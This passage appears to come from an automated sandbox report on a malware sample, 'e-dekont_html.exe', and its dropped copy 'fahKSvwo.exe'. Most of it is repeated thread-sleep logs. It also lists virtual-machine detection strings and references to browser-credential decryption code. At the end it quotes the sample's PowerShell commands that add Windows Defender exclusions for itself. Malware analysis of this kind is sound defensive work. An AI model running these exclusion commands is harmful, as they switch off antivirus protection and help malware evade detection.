Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597125
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597016
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 596906
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 596797
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 596688
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 596563
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 596453
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 596344
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 596219
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 596110
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 595985
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 595860
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 595735
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 595610
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 595485
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 595326
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 595206
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 594746
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 594641
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 594516
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 594406
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 594297
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 594187
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 594078
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 593969
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 593839

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7347	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2269	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6693	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2858	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Window / User API: threadDelayed 4133	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Window / User API: threadDelayed 5695	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Window / User API: threadDelayed 4271
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Window / User API: threadDelayed 5574

Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 6036	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7328	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7344	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -35048813740048126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7520	Thread sleep count: 4133 > 30	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -599668s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7520	Thread sleep count: 5695 > 30	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -599344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -599124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -598897s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -598660s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -598516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -598406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -598292s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -598187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -598078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -597969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -597844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -597665s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -597494s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -597344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -597016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -596891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -596766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -596656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -596547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -596437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -596328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -596219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -596109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -596000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -595891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -595766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -595641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -595531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -595422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -595313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -595188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -595063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -594930s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -594652s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -594540s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -594422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -594312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -594203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -594094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -593983s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -593875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516	Thread sleep time: -593766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7464	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep count: 38 > 30
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -35048813740048126s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7796	Thread sleep count: 4271 > 30
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -599875s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7796	Thread sleep count: 5574 > 30
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -599766s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -599654s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -599545s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -599437s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -599328s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -599219s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -599094s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -598984s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -598875s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -598765s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -598656s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -598546s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -598402s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -598183s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -598078s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -597953s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -597844s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -597731s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -597582s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -597453s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -597344s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -597233s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -597125s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -597016s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -596906s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -596797s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -596688s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -596563s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -596453s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -596344s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -596219s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -596110s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -595985s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -595860s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -595735s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -595610s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -595485s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -595326s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -595206s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -594746s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -594641s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -594516s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -594406s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -594297s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -594187s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -594078s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -593969s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792	Thread sleep time: -593839s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599668	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 598897	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 598660	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 598292	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 598187	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 597665	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 597494	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 597016	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596891	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596766	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596547	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596219	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 595766	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 595641	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 595063	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 594930	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 594652	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 594540	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 594422	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 594312	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 594203	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 594094	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 593983	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 593875	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 593766	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 599766
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 599654
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 599545
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 599437
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 599328
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 599219
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 599094
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 598984
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 598875
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 598765
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 598656
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 598546
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 598402
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 598183
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 598078
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597953
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597844
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597731
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597582
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597453
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597344
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597233
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597125
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597016
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 596906
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 596797
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 596688
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 596563
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 596453
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 596344
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 596219
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 596110
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 595985
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 595860
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 595735
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 595610
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 595485
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 595326
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 595206
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 594746
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 594641
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 594516
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 594406
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 594297
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 594187
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 594078
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 593969
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 593839

Source: e-dekont_html.exe, 00000000.00000002.1778649683.0000000008C5C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: e-dekont_html.exe, 00000008.00000002.4158801476.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4160104239.0000000001678000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\e-dekont_html.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\e-dekont_html.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\e-dekont_html.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, COVID19.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text21 + "\\mozglue.dll"))

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\e-dekont_html.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe"
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fahKSvwo.exe"
